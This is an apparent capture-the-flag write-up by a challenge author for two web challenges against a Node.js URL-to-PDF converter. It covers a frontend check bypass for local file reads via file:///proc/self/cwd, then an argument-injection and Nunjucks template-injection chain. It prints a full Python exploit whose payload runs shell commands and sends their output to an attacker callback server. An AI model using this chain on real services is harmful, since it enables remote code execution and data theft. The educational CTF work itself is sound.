#include
- Description
#baby #web
Yet another PDF converter. easy enough, right?
http://txg.chal2.teagod.tech:8722/
> flag in source code.explore
When we first open the website, we can see that it is a tool that takes a URL and converts the webpage into a PDF.
Let’s take a look at the website.
soar@universe-3 NHNC % curl -i http://txg.chal2.teagod.tech:8722/HTTP/1.1 200 OKX-Powered-By: ExpressAccept-Ranges: bytesCache-Control: public, max-age=0Last-Modified: Sat, 04 Jul 2026 03:25:09 GMTETag: W/"337-19f2b289a08"Content-Type: text/html; charset=UTF-8Content-Length: 823Date: Sun, 05 Jul 2026 19:42:39 GMTConnection: keep-aliveKeep-Alive: timeout=5
...From the X-Powered-By: Express header, we can tell that the website is using the Express framework. Therefore, we can infer that the backend is likely written in Node.js.
Now, let’s try the PDF conversion feature.
Enter https://example.com and click Convert to PDF.

Nice! The page was successfully fetched and converted into a PDF.
Research
Now that we understand the basic functionality of the website, we can guess that a PDF converter like this may be vulnerable to SSRF. However, let’s go back to the challenge description. It says that the flag is in the source code. So, we can try to read local files using the file:// protocol.
Let’s try reading /etc/passwd.

It was blocked. But if we look carefully, the request was not even sent to the backend. The check is done on the frontend!
http://txg.chal2.teagod.tech:8722/main.js↗
...form.addEventListener('submit', async event => { event.preventDefault(); const body = new URLSearchParams(new FormData(form)); const url = String(body.get('url') || '').trim(); if (!/^https?:\/\//i.test(url)) { result.textContent = 'URL must start with http:// or https://'; return; }
if (captchaEnabled) { const token = grecaptcha.getResponse(captchaWidgetId); if (!token) { result.textContent = 'Please complete the captcha.'; return; } body.set('g-recaptcha-response', token); }
result.textContent = 'Converting...'; const response = await fetch('/convert', { method: 'POST', body });...We can bypass this by using Burp Suite to intercept the request and modify the parameters, since the challenge uses reCAPTCHA. Alternatively, we can simply disable that JavaScript check in the browser.


Great! We now have arbitrary file read. At this point, we only need to read the source code.
However, after trying common paths such as /home/ctf, /app, /src, and so on, we find that none of them work. This is also part of the challenge. The actual webroot is located at: /app/{randomhex}.
To bypass this, we can use a symbolic link provided by Linux: /proc/self/cwd
This points to the current working directory of the running process.
Now we only need to figure out the source code filename. At this point, you can just guess that it is server.js.
Just kidding. Remember that we previously found that the website is using the Express framework. In a typical Node.js project, npm packages are used, which means there is usually a package.json file.
The package.json file often contains a scripts field, which tells us how the application is started.
So, we can read: file:///proc/self/cwd/package.json

Exploit
There we go! Finally, we just need to read: file:///proc/self/cwd/server.js
And we can get the flag.

NHNC{Well_done!_stay_tuned_for_the_next_challenge.}
Farewell, #include
- Description
#medium #web
more features this time...but it’s absolutely not that easy.
Instancer : http://txg.chal2.teagod.tech:8988/
execute /readflag to know how to get the flag.
any fuzzing tools or brute forcing of urls are not allowed.
> HINT :You may have already noticed that you can obtain some useful information using the method from the previous challenge.
For this challenge, you can reuse that approach to gather information. It is recommended that you analyze everything locally first and confirm that you can achieve RCE before u restart again the instancer.Revenge of the #include Challenge
explore
At first glance, it doesn’t look much different from the previous challenge it’s have same framework, same interface. The only difference is that this time, you need to get RCE.
The main change is the addition of two new features: PDF Converter without CSS and Markdown to PDF.
The HINT in the challenge description suggests that you can use the vulnerability from the previous challenge to leak the source code or gather some useful information. To save some time, I’ll just provide the files we’ll need here.
- server.js
import crypto from 'node:crypto';import fs from 'node:fs/promises';import path from 'node:path';import { spawn } from 'node:child_process';import { createRequire as create_require } from 'node:module';import { fileURLToPath as file_url_to_path } from 'node:url';
import express from 'express';import { convert as convert_markdown } from 'mdpdf';
const __dirname = path.dirname(file_url_to_path(import.meta.url));const require = create_require(import.meta.url);const html_pdf_node = require('html-pdf-node');const app = express();const port = Number(process.env.PORT || 3001);
const percollate_cli = '/app/lib/percollate/cli.js';const work_dir = '/tmp/work';const output_dir = '/tmp/output';
app.use(express.urlencoded({ extended: false, limit: '256kb' }));app.use(express.json({ limit: '256kb' }));app.use(express.static(path.join(__dirname, 'public')));
function getallurl(input) { return String(input || '') .trim() .split(/\s+/) .filter(Boolean);}
function create_job(converter, details = {}) { const id = crypto.randomUUID(); const output_path = path.join(output_dir, `${id}.pdf`); return { id, converter, output_path, ...details };}
function run_percollate(user_input) { return new Promise(resolve => { const job = create_job('lite-pdf'); const urls = getallurl(user_input); const args = [ 'pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls ];
const child = spawn(process.execPath, [percollate_cli, ...args], { cwd: work_dir, stdio: ['ignore', 'ignore', 'ignore'], env: { ...process.env, PUPPETEER_EXECUTABLE_PATH: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium' } });
const timer = setTimeout(() => { child.kill('SIGKILL'); }, 150000);
child.on('close', code => { clearTimeout(timer); resolve({ id: job.id, code, output_path: job.output_path, converter: job.converter }); }); });}
async function run_html_pdf_node(user_input) { const [url] = getallurl(user_input); const job = create_job('standard-pdf', { url }); try { const pdf = await with_timeout( html_pdf_node.generatePdf( { url: job.url }, { format: 'A4', path: job.output_path, printBackground: true, timeout: 80000, args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu', '--no-zygote', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-sync', '--metrics-recording-only', '--mute-audio', '--no-first-run' ] } ), 90000, 'html-pdf-node conversion timeout' ); try { await fs.access(job.output_path); } catch { if (pdf) { await fs.writeFile(job.output_path, pdf); } } return { id: job.id, code: 0, output_path: job.output_path, converter: job.converter }; } catch (error) { console.error('standard-pdf conversion failed:', error); return { id: job.id, code: 1, output_path: job.output_path, converter: job.converter }; }}
async function run_md_pdf(user_input) { const [url] = getallurl(user_input); const job = create_job('markdown-pdf', { url }); const source_path = path.join(output_dir, `${job.id}.md`); try { const markdown = await read_text_input(job.url); await fs.writeFile(source_path, markdown); await with_timeout( convert_markdown({ source: source_path, destination: job.output_path, assetDir: path.dirname(source_path), ghStyle: true, defaultStyle: true, noEmoji: true, noHighlight: true, waitUntil: 'networkidle0', pdf: { format: 'A4', timeout: 30000 } }), 45000, 'mdpdf conversion timeout' ); return { id: job.id, code: 0, output_path: job.output_path, converter: job.converter }; } catch (error) { console.error('markdown-pdf conversion failed:', error); return { id: job.id, code: 1, output_path: job.output_path, converter: job.converter }; } finally { await fs.unlink(source_path).catch(() => {}); }}
function with_timeout(promise, ms, message) { let timer; return Promise.race([ promise, new Promise((_, reject) => { timer = setTimeout(() => reject(new Error(message)), ms); }) ]).finally(() => clearTimeout(timer));}
async function read_text_input(input) { const url = parse_url(input); if (url?.protocol === 'file:') { return fs.readFile(file_url_to_path(url), 'utf8'); } if (url && (url.protocol === 'http:' || url.protocol === 'https:')) { const response = await fetch(url.href); if (!response.ok) { throw new Error(`fetch failed: ${response.status}`); } return response.text(); } return fs.readFile(input, 'utf8');}
function parse_url(input) { try { return new URL(input); } catch { return null; }}
async function rejects_directory_listing(input) { for (const item of getallurl(input)) { let url; try { url = new URL(item); } catch { continue; }
if (url.protocol !== 'file:') { continue; }
try { if ((await fs.stat(file_url_to_path(url))).isDirectory()) { return true; } } catch { // ignore errors, treat as not a directory :) } }
return false;}
app.post('/convert', async (req, res) => { const urls = req.body.url || ''; const converter = String(req.body.converter || 'standard-pdf'); if (!String(urls).trim()) { res.status(400).type('text/plain').send('missing url\n'); return; } if (await rejects_directory_listing(urls)) { res.status(500).type('text/plain').send('conversion failed\n'); return; }
let result; if (converter === 'standard-pdf') { result = await run_html_pdf_node(urls); } else if (converter === 'lite-pdf') { result = await run_percollate(urls); } else if (converter === 'markdown-pdf') { result = await run_md_pdf(urls); } else { res.status(400).type('text/plain').send('unknown converter\n'); return; }
if (result.code !== 0) { res.status(500) .type('text/plain') .send('conversion failed\n'); return; }
try { const pdf = await fs.readFile(result.output_path); res.setHeader('Content-Type', 'application/pdf'); res.setHeader( 'Content-Disposition', `attachment; filename="${result.id}.pdf"` ); res.send(pdf); } catch { res.status(500) .type('text/plain') .send('conversion failed\n'); }});
app.listen(port, '0.0.0.0', () => { console.log(`challenge listening on ${port}`);});- package.json
{ "name": "farewall include", "version": "1.0.0", "type": "module", "private": true, "scripts": { "start": "node server.js" }, "dependencies": { "express": "^4.19.2", "html-pdf-node": "file:../lib/html-pdf-node", "mdpdf": "file:../lib/mdpdf" }}From server.js, we can also identify the libraries used for the conversion:
PDF Converter = html-pdf-nodePDF Converter without CSS = percollateMarkdown to PDF = mdpdfResearch
First, there is an obvious argument injection in run_percollate within server.js.
function run_percollate(user_input) { return new Promise(resolve => { const job = create_job('lite-pdf'); const urls = getallurl(user_input); const args = [ 'pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls ];
const child = spawn(process.execPath, [percollate_cli, ...args], { cwd: work_dir, stdio: ['ignore', 'ignore', 'ignore'], env: { ...process.env, PUPPETEER_EXECUTABLE_PATH: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium' } });
const timer = setTimeout(() => { child.kill('SIGKILL'); }, 150000);
child.on('close', code => { clearTimeout(timer); resolve({ id: job.id, code, output_path: job.output_path, converter: job.converter }); }); });}To support converting multiple URLs at once, the developer directly passes user_input into the urls argument and forgets to use -- to terminate option parsing. As a result, we can inject arbitrary command-line arguments.
But here comes the question: what should we inject?!
research on the percollate package
From its README, we can see that: Percollate is a command-line tool that turns web pages into beautifully formatted PDF, EPUB, HTML or Markdown files.
Further down in the README, it provides even more options for users. After taking a closer look, we can saw something interesting!

Ummm… Nunjucks! It’s a template engine!
If we trace through Percollate’s source code a little, we can see that once the --template option is used, Percollate directly passes the file we specify to Nunjucks for rendering!
const html = nunjucks.renderString( await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'), { filetype: 'html', title: options.title || (items.length === 1 ? items[0].title : 'Untitled'), date: new Date(), items, style, options: { use_toc, use_cover: options.cover || (options.cover !== false && (options.title || items.length > 1)) } } );This looks super dangerous! The official documentation for nunjucks.renderString also explicitly warns against rendering user-controlled content.↗
So, we can actually inject a template and turn this into SSTI.
I won’t go into the full RCE chain here, since there are already plenty of writeups and research on Nunjucks SSTI online.
Personally, I used items.constructor.constructor to get access to the Function constructor, which then allowed me to execute arbitrary js.
But there’s still one problem…
How are we supposed to write a file?
research on the mdpdf package
I’m curious if you’ve ever used this library before?! 
It’s actually really convenient. I use it all the time, whether I’m generating reports, or when HackMD’s free PDF export quota runs out. But I’m not sure if you’ve noticed this before: when you convert Markdown into a PDF, a temporary HTML file is usually generated first, and only then is the final PDF produced.
You can still think of it as a rendering pipeline. Markdown itself is just a plaintext markup syntax, so it first has to be converted into structured HTML. During this stage, things like layout, styling, and LaTeX rendering are also handled before the final PDF is generated.
So, we can reasonably assume that mdpdf probably has a similar feature as well. Let’s dig into the source code and see.
async function createPdf(html: string, options: MdPdfOptions): Promise<string> { const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');
let browser: Browser | null = null; // Initialize browser to null
try { await writeFile(tempHtmlPath, html);
browser = await launch({ headless: true, // Use boolean instead of 'new' string args: ['--no-sandbox', '--disable-setuid-sandbox'], }); const page = (await browser.pages())[0]; await page.goto('file:' + tempHtmlPath, { waitUntil: options.waitUntil ?? 'networkidle0', });
// have to bypass by arguments // custom title support const targetTitle = options.pdf?.title ? options.pdf.title : parsePath(options.source).name; await page.evaluate((targetTitle) => { // overwrite title to fix https://github.com/elliotblackburn/mdpdf/issues/211 document.title = targetTitle; }, targetTitle);
const puppetOptions = getOptions(options); await page.pdf(puppetOptions);
await browser.close(); browser = null; // Indicate browser is closed
if (options.debug) { copyFileSync(tempHtmlPath, options.debug); }
return options.destination; } catch (error) { // Ensure browser is closed even if an error occurs if (browser) { await browser.close(); } // Re-throw the error to be handled by the caller throw error; } finally { // Clean up temp file in case of error or success try { unlinkSync(tempHtmlPath); } catch (e) { // Ignore errors if the file doesn't exist or couldn't be deleted } }}Did you catch the important part?!
const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');
This means that an _temp.html file will be created inside the working directory we specify.
At this point, things become much easier. We only need to host a malicious .md file on our own server. At the beginning of the file, we place our SSTI payload, and then append a request that causes mdpdf to spend some time waiting during the conversion process.
After that, we trigger another argument injection and set the --template option to /tmp/output/_temp.html.
At this point, we can fully control the contents of the HTML file and ultimately achieve RCE.
exploit
#!/usr/bin/env python3import argparseimport http.serverimport jsonimport queueimport socketserverimport threadingimport urllib.parseimport urllib.request
def qjs(s): return json.dumps(s)
def qnjk(s): return ( s.replace("\\", "\\\\") .replace("'", "\\'") .replace("\n", "\\n") )
def make_ssti(cmd, cb): js = ( "const cp=process.getBuiltinModule('child_process');" "const http=process.getBuiltinModule('http');" "let r='';" "try{" f"r=cp.execSync({qjs(cmd)},{{encoding:'utf8',stdio:['ignore','pipe','pipe']}});" "}catch(e){" "if(e.stdout)r+=e.stdout.toString();" "if(e.stderr)r+=e.stderr.toString();" "r+='\\n[exit '+String(e.status ?? 'unknown')+']\\n';" "}" f"http.get({qjs(cb + '?d=')}+encodeURIComponent(r)).on('error',()=>{{}});" "return r;" )
return "{{ items.constructor.constructor('" + qnjk(js) + "')() }}"
def convert(base, converter, url): data = urllib.parse.urlencode({ "converter": converter, "url": url, }).encode()
req = urllib.request.Request( urllib.parse.urljoin(base, "/convert"), data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, method="POST", ) with urllib.request.urlopen(req, timeout=90) as r: return r.read()
def handler_for(payload, leaks, slow_hit, release_slow): class Handler(http.server.BaseHTTPRequestHandler): def log_message(self, *args): pass
def do_GET(self): u = urllib.parse.urlparse(self.path)
if u.path == "/payload.md": host = self.headers.get("Host") md = f"""# Quarterly PDF Report
<div>{payload}</div>
<img src="http://{host}/slow">""" body = md.encode()
self.send_response(200) self.send_header("Content-Type", "text/markdown; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) return
if u.path == "/slow": slow_hit.set()
release_slow.wait(30)
gif = ( b"GIF89a\x01\x00\x01\x00\x80\x00\x00" b"\x00\x00\x00\xff\xff\xff,\x00\x00" b"\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;" )
self.send_response(200) self.send_header("Content-Type", "image/gif") self.send_header("Content-Length", str(len(gif))) self.end_headers() self.wfile.write(gif) return
if u.path == "/leak": qs = urllib.parse.parse_qs(u.query) leaks.put(qs.get("d", [""])[0]) self.send_response(204) self.end_headers() return
self.send_response(404) self.end_headers()
return Handler
class ThreadedServer(socketserver.ThreadingTCPServer): allow_reuse_address = True daemon_threads = True
def main(): ap = argparse.ArgumentParser() ap.add_argument("-t", "--target", default="http://127.0.0.1:5005") ap.add_argument("-b", "--bind", default="0.0.0.0") ap.add_argument("-p", "--port", type=int, default=31001) ap.add_argument("--host", default="0.0.0.0") ap.add_argument("-c", "--cmd", default="id") args = ap.parse_args()
base = args.target.rstrip("/") cb = f"http://{args.host}:{args.port}"
leaks = queue.Queue() slow_hit = threading.Event() release_slow = threading.Event()
payload = make_ssti(args.cmd, cb + "/leak") handler = handler_for(payload, leaks, slow_hit, release_slow)
with ThreadedServer((args.bind, args.port), handler) as srv: threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"[*] serving payload at {cb}/payload.md")
mdpdf_err = queue.Queue()
def hold_mdpdf(): try: convert(base, "markdown-pdf", cb + "/payload.md") except Exception as e: mdpdf_err.put(e)
t = threading.Thread(target=hold_mdpdf, daemon=True) t.start()
if not slow_hit.wait(15): release_slow.set()
if not mdpdf_err.empty(): raise mdpdf_err.get()
raise RuntimeError("mdpdf never loaded /slow")
tpl = "/tmp/output/_temp.html" index = "https://solarfish.me/"
print(f"[*] reusing template: {tpl}")
convert( base, "lite-pdf", f"--no-hyphenate --template={tpl} {index}", )
release_slow.set() t.join(timeout=10) out = leaks.get(timeout=10) print("[+] output:") print(out, end="" if out.endswith("\n") else "\n")
if __name__ == "__main__": main()Finally, we just need to host it on our own server, run the exploit, and get the FLAG!
NHNC{Farewell, my friend, promise me you won’t find another 0days next time.}
After All
This was my first time creating a challenge for No Hack No CTF, and probably also the first time I’ve ever made a challenge for this many people to play!
So first of all, I’d like to apologize! I’m still pretty inexperienced with a lot of things. For example, the challenge was originally supposed to have reCAPTCHA enabled. However, since the first challenge was blackbox and required some time for testing and exploration, I decided not to add it at first for the sake of player convenience.
Unfortunately, even though we had already announced that the challenge did not require any fuzzing, some players still used scanner tools. This caused the challenge to spawn a huge of Chromium instances, and the Docker container kept exploding. In the end, I had to add reCAPTCHA to #include challenge.
Putting that aside, the core idea behind these challenges came from some research I did last year. I wanted to turn it into a more complete exploitation experience and definitely not because I didn’t have enough challenge ideas.
In an era where AI is everywhere, using AI during CTFs is pretty much inevitable. But at the same time, I still wanted players to actually learn something from the challenge. That’s why the first challenge was designed as a blackbox challenge.
Once you obtain the source code, you can start working together with AI: analyze the code together, search for vulnerabilities together, and finally write the exploit together.
I really like that kind of collaborative feeling, hehe.
Anyway~ hope everyone had fun in this CTF :>